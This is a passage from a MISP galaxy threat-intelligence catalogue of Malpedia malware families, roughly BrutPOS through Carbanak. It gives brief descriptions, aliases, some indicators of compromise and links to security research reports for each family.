https://cybergeeks.tech/a-deep-dive-into-brute-ratel-c4-payloads/
https://protectedmo.de/brute.html
https://blog.krakz.fr/articles/latrodectus/
https://0xdarkvortex.dev/hiding-in-plainsight/
https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/
https://andreafortuna.org/2023/02/23/how-to-detect-brute-ratel-activities
https://thedfirreport.com/2025/09/29/from-a-single-click-how-lunar-spider-enabled-a-near-two-month-intrusion/
https://www.trendmicro.com/de_de/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://www.youtube.com/watch?v=a7W6rhkpVSM
https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/
https://twitter.com/embee_research/status/1580030303950995456?s=20&t=0vfXnrCXaVSX-P-hiSrFwA
https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jul-Dec%202024%20Botnet%20Threat%20Update.pdf
https://cybergeeks.tech/a-deep-dive-into-brute-ratel-c4-payloads-part-2/

https://www.splunk.com/en_us/blog/security/deliver-a-strike-by-reversing-a-badger-brute-ratel-detection-and-analysis.html
https://socradar.io/brute-ratel-utilized-by-threat-actors-in-new-ransomware-operations/
https://blog.reveng.ai/latrodectus-distribution-via-brc4/

BrutPOS

The tag is: *misp-galaxy:malpedia="BrutPOS"*

BrutPOS is also known as:

Table 3406. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.brutpos
https://www.fireeye.com/blog/threat-research/2014/07/brutpos-rdp-bruteforcing-botnet-targeting-pos-systems.html

BS2005

The tag is: *misp-galaxy:malpedia="BS2005"*

BS2005 is also known as:

Table 3407. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005
https://www.secureworks.com/research/threat-profiles/bronze-palace
https://github.com/nccgroup/Royal_APT
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

BTCWare

According to PCRisk, BTCWare is an updated version of a ransomware-type virus called Crptxxx. This ransomware is distributed via a malicious application called "Rogers Hi-Speed Internet". Once infiltrated, BTCWare encrypts files and appends filenames with the ".btcware" extension. Newer variants of this ransomware append .shadow, .payday, .wyvern, .nuclear, .aleta, .gryphon, .nopasaran, .blocking, .xfile, .master, .onyon, .theva, .cryptobyte or .cryptowin extensions to encrypted files. BTCWare then creates an HTM file ("*HOW_TO_FIX*!.hta.htm"), placing it on the desktop. Other variants of this ransomware use !*RESTORE_FILES*#!.inf file to store their ransom demanding message.

The tag is: *misp-galaxy:malpedia="BTCWare"*

BTCWare is also known as:

Table 3408. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware
https://www.bleepingcomputer.com/news/security/new-nuclear-btcware-ransomware-released-updated/

BUBBLEWRAP

BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities.

The tag is: *misp-galaxy:malpedia="BUBBLEWRAP"*

BUBBLEWRAP is also known as:

Table 3409. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bubblewrap
https://attack.mitre.org/software/S0043/
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html

Buer

Buer is a downloader sold on underground forums and used by threat actors to deliver payload malware onto target machines. It has been observed in email campaigns and has been sold as a service since August 2019.

The tag is: *misp-galaxy:malpedia="Buer"*

Buer is also known as:

- Buerloader
- RustyBuer

Table 3410. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buer
https://twitter.com/StopMalvertisin/status/1182505434231398401

https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/

https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/

https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf

http://www.secureworks.com/research/threat-profiles/gold-blackburn

https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96

https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns/TechnicalBrief-An-Analysis-of-Buer-Loader.pdf

https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/

https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/

https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.fortinet.com/blog/threat-research/signed-sealed-and-delivered-signed-xll-file-delivers-buer-loader

https://www.trendmicro.com/en_us/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns.html

https://blog.group-ib.com/prometheus-tds

https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/

https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/

http://www.secureworks.com/research/threat-profiles/gold-symphony

https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf
https://blog.minerva-labs.com/stopping-buerloader
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://twitter.com/SophosLabs/status/1321844306970251265
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

BUFFETLINE

The tag is: *misp-galaxy:malpedia="BUFFETLINE"*

BUFFETLINE is also known as:

Table 3411. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buffetline
https://www.us-cert.gov/ncas/analysis-reports/ar20-045f
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/

BUGHATCH

According to Elastic, BUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs (VirtualAlloc, CreateThread, WaitForSingleObject).

The tag is: *misp-galaxy:malpedia="BUGHATCH"*

BUGHATCH is also known as:

Table 3412. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bughatch
https://www.elastic.co/security-labs/bughatch-malware-analysis

bugsleep

The tag is: *misp-galaxy:malpedia="bugsleep"*

bugsleep is also known as:

- MuddyRot

Table 3413. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bugsleep
https://blog.sekoia.io/muddywater-replaces-atera-by-custom-muddyrot-implant-in-a-recent-campaign/
https://blog.talosintelligence.com/writing-a-bugsleep-c2-server/
https://raw-data.gitlab.io/post/bugsleep_netprotocol/
https://research.checkpoint.com/2024/new-bugsleep-backdoor-deployed-in-recent-muddywater-campaigns/
https://nikhilh-20.github.io/blog/inject_bugsleep/

Buhtrap

The tag is: *misp-galaxy:malpedia="Buhtrap"*

Buhtrap is also known as:

- Ratopak

Table 3414. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap
https://www.scythe.io/library/threatthursday-buhtrap
https://www.symantec.com/connect/blogs/russian-bank-employees-received-fake-job-offers-targeted-email-attack
https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8e498912-44f8-4ea0-ac50-4544f0fedd6c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://malware-research.org/carbanak-source-code-leaked/
https://www.group-ib.com/brochures/gib-buhtrap-report.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/
https://blog.dcso.de/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/
https://www.welivesecurity.com/2015/04/09/operation-buhtrap/
https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/

https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code
https://www.welivesecurity.com/2019/07/11/buhtrap-zero-day-espionage-campaigns/

BumbleBee

This malware is delivered by an ISO file, with an DLL inside with a custom loader. Because of the unique user-agent "bumblebee" this malware was dubbed BUMBLEBEE. At the time of Analysis by Google's Threat Analysis Group (TAG) BumbleBee was observed to fetch Cobalt Strike Payloads.

The tag is: *misp-galaxy:malpedia="BumbleBee"*

BumbleBee is also known as:

- COLDTRAIN
- SHELLSTING
- Shindig

Table 3415. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee
https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike
https://www.europol.europa.eu/media-press/newsroom/news/largest-ever-operation-against-botnets-hits-dropper-malware-ecosystem
http://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://www.netskope.com/blog/new-bumblebee-loader-infection-chain-signals-possible-resurgence
https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056
https://thedfirreport.com/2022/09/26/bumblebee-round-two/
https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime
https://blog.talosintelligence.com/following-the-lnk-metadata-trail
https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns
https://blog.krakz.fr/articles/bumblebee/

https://bin.re/blog/the-dga-of-bumblebee/
https://twitter.com/ESETresearch/status/1577963080096555008
https://blog.gigamon.com/2021/09/10/rendering-threats-a-network-perspective/
https://twitter.com/Intrinsec/status/1709609529070010447
https://www.infinitumit.com.tr/bumblebee-loader-malware-analysis/
https://www.cyjax.com/resources/blog/a-sting-on-bing-bumblebee-delivered-through-bing-seo-poisoning-campaign/
https://www.intrinsec.com/emotet-returns-and-deploys-loaders/
https://lumu.io/blog/bumblebee-malware-loader-spotlight/
https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/
https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/
https://www.botconf.eu/wp-content/uploads/formidable/2/2023_4889_DESOUZA.pdf
https://cloudsek.com/technical-analysis-of-bumblebee-malware-loader/
https://0xtoxin.github.io/malware%20analysis/Bumblebee-DocuSign-Campaign/
https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control
https://www.vmray.com/cyber-security-blog/understanding-bumblebee-loader-the-delivery/
https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming
https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/
https://isc.sans.edu/diary/28636
https://www.proofpoint.com/us/blog/threat-insight/bumblebee-buzzes-back-black
https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/
https://www.trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day—cve-2021-40444—hits-windows—tr.html
https://www.deepinstinct.com/blog/the-dark-side-of-bumblebee-malware-loader
https://blog.cerbero.io/?p=2617
https://threathunt.blog/bzz-bzz-bumblebee-loader
https://sec-consult.com/blog/detail/bumblebee-hunting-with-a-velociraptor/
https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/
https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/
https://twitter.com/Intrinsec/status/1699779830294970856
https://www.spamhaus.org/resource-hub/botnet-c-c/botnet-threat-update-january-to-june-2025/
https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks

https://www.youtube.com/watch?v=pIXl79IPkLI
https://twitter.com/threatinsight/status/1648330456364883968
https://www.deepinstinct.com/blog/pindos-new-javascript-dropper-delivering-bumblebee-and-icedid
https://blog.sekoia.io/bumblebee-a-new-trendy-loader-for-initial-access-brokers/
https://isc.sans.edu/diary/Bumblebee+Malware+from+TransferXL+URLs/28664
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://www.vmray.com/cyber-security-blog/understanding-bumblebee-the-malicious-behavior/
https://www.darkreading.com/vulnerabilities-threats/operation-endgame-takedowns-arrests-matter
https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/
https://twitter.com/Artilllerie/status/1701250284238823493
https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return
https://isc.sans.edu/diary/rss/28664
https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/bumblebee-docusign-campaign
https://www.bleepingcomputer.com/news/security/new-bumblebee-malware-replaces-contis-bazarloader-in-cyberattacks/
https://www.youtube.com/watch?v=JoKJNfLAc0Y
https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf
https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine
https://www.logpoint.com/wp-content/uploads/2022/05/buzz-of-the-bumblebee-a-new-malicious-loader-threat-report-no-3.pdf
https://www.vmray.com/cyber-security-blog/understanding-bumblebee-the-malware-configuration-and-clusters/
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti
https://community.riskiq.com/article/0b211905/description
https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Staubmann-Busy-Bees.pptx
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/
https://isc.sans.edu/diary/rss/28636
https://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/

https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://research.openanalysis.net/bumblebee/malware/loader/unpacking/2022/05/12/bumblebee_loader.html
https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise
https://www.aspirets.com/blog/bumblebee-malware-loader-threat-analysis/

Bundestrojaner

The tag is: *misp-galaxy:malpedia="Bundestrojaner"*

Bundestrojaner is also known as:

- 0zapftis
- R2D2

Table 3416. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner
http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf
https://www.f-secure.com/weblog/archives/00002249.html

BundleBot

Bundlebot is an info stealer that abuses the single-file dotnet bundle which operates as a self-contained executable that does not require any preinstalled dotnet runtime version. Bundlebot functionality targets a wide variety of data including the victim's system information, browser data, telegram data, discord token, Facebook account information, and screenshots.

The tag is: *misp-galaxy:malpedia="BundleBot"*

BundleBot is also known as:

Table 3417. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bundlebot
https://research.checkpoint.com/2023/byos-bundle-your-own-stealer/

Bunitu

Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is

available by using criminal VPN services (e.g.VIP72).

The tag is: *misp-galaxy:malpedia="Bunitu"*

Bunitu is also known as:

Table 3418. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://malwarebreakdown.com/2018/03/21/fobos-malvertising-campaign-delivers-bunitu-proxy-trojan-via-rig-ek/
http://malware-traffic-analysis.net/2017/05/09/index.html
https://blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/
https://zerophagemalware.com/2017/06/07/rig-ek-via-fake-eve-online-website-drops-bunitu/
https://broadanalysis.com/2019/04/12/rig-exploit-kit-delivers-bunitu-malware/
https://blog.malwarebytes.com/threat-analysis/2015/08/whos-behind-your-proxy-uncovering-bunitus-secrets/

BunnyLoader

The tag is: *misp-galaxy:malpedia="BunnyLoader"*

BunnyLoader is also known as:

Table 3419. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bunnyloader
https://www.zscaler.de/blogs/security-research/bunnyloader-newest-malware-service
https://unit42.paloaltonetworks.com/analysis-of-bunnyloader-malware/

BURNBOOK

According to Mandiant, BURNBOOK is a dropper for TEARPAGE.

The tag is: *misp-galaxy:malpedia="BURNBOOK"*

BURNBOOK is also known as:

Table 3420. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.burnbook

https://cloud.google.com/blog/topics/threat-intelligence/unc2970-backdoor-trojanized-pdf-reader?hl=en
https://www.welivesecurity.com/en/eset-research/gotta-fly-lazarus-targets-uav-sector/
https://www.orangecyberdefense.com/global/blog/cert-news/a-pain-in-the-mist-navigating-operation-dreamjobs-arsenal

Buterat

The tag is: *misp-galaxy:malpedia="Buterat"*

Buterat is also known as:

- spyvoltar

Table 3421. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat
http://antivirnews.blogspot.com/2011/01/backdoorwin32-buteratafj.html

Buzus

The tag is: *misp-galaxy:malpedia="Buzus"*

Buzus is also known as:

- Yimfoca

Table 3422. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Yimfoca.A

BYEBY

The tag is: *misp-galaxy:malpedia="BYEBY"*

BYEBY is also known as:

Table 3423. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby

https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/
https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/
https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/
https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan
https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia

BypassBoss

The tag is: *misp-galaxy:malpedia="BypassBoss"*

BypassBoss is also known as:

Table 3424. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bypassboss
https://www.trendmicro.com/en_us/research/25/e/earth-lamia.html

c0d0so0

The tag is: *misp-galaxy:malpedia="c0d0so0"*

c0d0so0 is also known as:

Table 3425. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.c0d0so0

CabArt

The tag is: *misp-galaxy:malpedia="CabArt"*

CabArt is also known as:

Table 3426. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart

Cactus

The tag is: *misp-galaxy:malpedia="Cactus"*

Cactus is also known as:

Table 3427. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cactus
https://www.shadowstackre.com/analysis/cactus
https://www.trendmicro.com/en_us/research/25/b/black-basta-cactus-ransomware-backconnect.html
https://blog.sekoia.io/sekoia-io-mid-2023-ransomware-threat-landscape
https://x.com/MsftSecIntel/status/1730383711437283757
https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-31072025-ShadowSyndicate-infrastructure-illumination-EN.pdf
https://twitter.com/MsftSecIntel/status/1730383711437283757

CaddyWiper

CaddyWiper is another destructive malware believed to be deployed to target Ukraine.

CaddyWiper wipes all files under C:\Users and all also all files under available drives from D: to Z: by overwriting the data with NULL value. If the target file is greater than 0xA00000 bytes in size (10MB), it will only wipe the first 0xA00000 bytes.

It also wipes disk partitions from \\.\PHYSICALDRIVE9 to \\.\PHYSICALDRIVE0 by overwriting the first 0x780 bytes with NULL.

The tag is: *misp-galaxy:malpedia="CaddyWiper"*

CaddyWiper is also known as:

- KillDisk.NCX

Table 3428. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper
https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html
https://blog.morphisec.com/caddywiper-analysis-new-malware-attacking-ukraine
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-caddywiper

https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/

https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/

https://twitter.com/silascutler/status/1513870210398363651

https://www.nioguard.com/2022/03/analysis-of-caddywiper.html

https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd

https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/

https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/

https://www.splunk.com/en_us/blog/security/threat-update-caddywiper.html

https://www.mandiant.com/resources/blog/gru-rise-telegram-minions

https://www.mandiant.com/resources/blog/sandworm-disrupts-power-ukraine-operational-technology

https://cybersecuritynews.com/destructive-data-wiper-malware/

https://twitter.com/HackPatch/status/1503538555611607042

https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf

https://www.truesec.com/hub/blog/analysis-of-caddywiper-wiper-targeting-ukraine

https://n0p.me/2022/03/2022-03-26-caddywiper/

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war

https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/

https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works

https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/

https://cert.gov.ua/article/3718487

https://securityaffairs.co/wordpress/129069/cyber-warfare-2/caddywiper-wiper-hits-ukraine.html

https://www.bleepingcomputer.com/news/security/new-caddywiper-data-wiping-malware-hits-ukrainian-networks/

https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat

https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023

https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/

https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/

https://cert.gov.ua/article/39518

https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/

https://www.youtube.com/watch?v=mrTdSdMMgnk

https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf
https://twitter.com/ESETresearch/status/1503436420886712321
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper
https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html
https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf
https://securityintelligence.com/posts/caddywiper-malware-targeting-ukrainian-organizations/
https://cybernews.com/cyber-war/new-destructive-wiper-malware-deployed-in-ukraine/
https://www.mandiant.com/resources/blog/gru-disruptive-playbook
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

CadelSpy

CadelSpy is a spyware supposedly used by Iranian threat actors. It has several functions such as logging keystrokes, record audio, capture screenshots and webcam photos, and steal any documents that are sent to a printer.

The tag is: *misp-galaxy:malpedia="CadelSpy"*

CadelSpy is also known as:

- Cadelle

Table 3429. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy
http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf
https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

CALMTHORN

The tag is: *misp-galaxy:malpedia="CALMTHORN"*

CALMTHORN is also known as:

Table 3430. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn
https://twitter.com/8th_grey_owl/status/1357550261963689985
https://www.datanet.co.kr/news/articleView.html?idxno=133346
https://www.youtube.com/watch?v=3cUWjojQXWE

Cameleon

PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.

The tag is: *misp-galaxy:malpedia="Cameleon"*

Cameleon is also known as:

- StormKitty

Table 3431. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-turest.html
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware

campoloader

The tag is: *misp-galaxy:malpedia="campoloader"*

campoloader is also known as:

Table 3432. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader
https://unit42.paloaltonetworks.com/bazarloader-malware/
https://orangecyberdefense.com/global/blog/cybersoc/in-the-eye-of-our-cybersoc-campo-loader-analysis-and-detection-perspectives/
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/
https://blog.group-ib.com/prometheus-tds

CamuBot

There is no lot of IOCs in this article so we take one sample and try to extract some interesting IOCs, our findings below :

CamuBot sample : 37ca2e37e1dc26d6b66ba041ed653dc8ee43e1db71a705df4546449dd7591479

Dropped Files on disk :

C:\Users\user~1\AppData\Local\Temp\protecao.exe : 0af612461174eedec813ce670ba35e74a9433361eacb3ceab6d79232a6fe13c1

C:\Users\user~1\AppData\Local\Temp\Renci.SshNet.dll : 3E3CD9E8D94FC45F811720F5E911B892A17EE00F971E498EAA8B5CAE44A6A8D8

C:\ProgramData\m.msi : AD90D4ADFED0BDCB2E56871B13CC7E857F64C906E2CF3283D30D6CFD24CD2190

Protecao.exe try to download hxxp://www.usb-over-network.com/usb-over-network-64bit.msi

A new driver is installed : C:\Windows\system32\drivers\ftusbload2.sys : 9255E8B64FB278BC5FFE5B8F70D68AF8

ftusbload2.sys set 28 IRP handlers.

The tag is: *misp-galaxy:malpedia="CamuBot"*

CamuBot is also known as:

Table 3433. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.camubot
https://securityintelligence.com/camubot-new-financial-malware-targets-brazilian-banking-customers/

Cannibal Rat

Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable.

The tag is: *misp-galaxy:malpedia="Cannibal Rat"*

Cannibal Rat is also known as:

Table 3434. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.cannibal_rat
http://blog.talosintelligence.com/2018/02/cannibalrat-targets-brazil.html

Cannon

The tag is: *misp-galaxy:malpedia="Cannon"*

Cannon is also known as:

Table 3435. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cannon
https://unit42.paloaltonetworks.com/atoms/fighting-ursa/
https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
https://www.vkremez.com/2018/11/lets-learn-in-depth-on-sofacy-canon.html

Carbanak

MyCERT states that Carbanak is a remote backdoor designed for espionage, data exfiltration, and to remote control.

The attacker deploy malware via spear phishing email to lure the user to open and run the malicious attachment that will infect the machine. The main objective of this campaign is primarily to remotely control the infected machine and gain control of the internal destinations of money processing services such as Automated Teller Machines(ATM) and financial accounts. The following information are the malware capabilities:

The tag is: *misp-galaxy:malpedia="Carbanak"*

Carbanak is also known as:

- Anunak
- Sekur RAT

Table 3436. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak
https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html
https://www.mandiant.com/resources/evolution-of-fin7
https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html

https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html
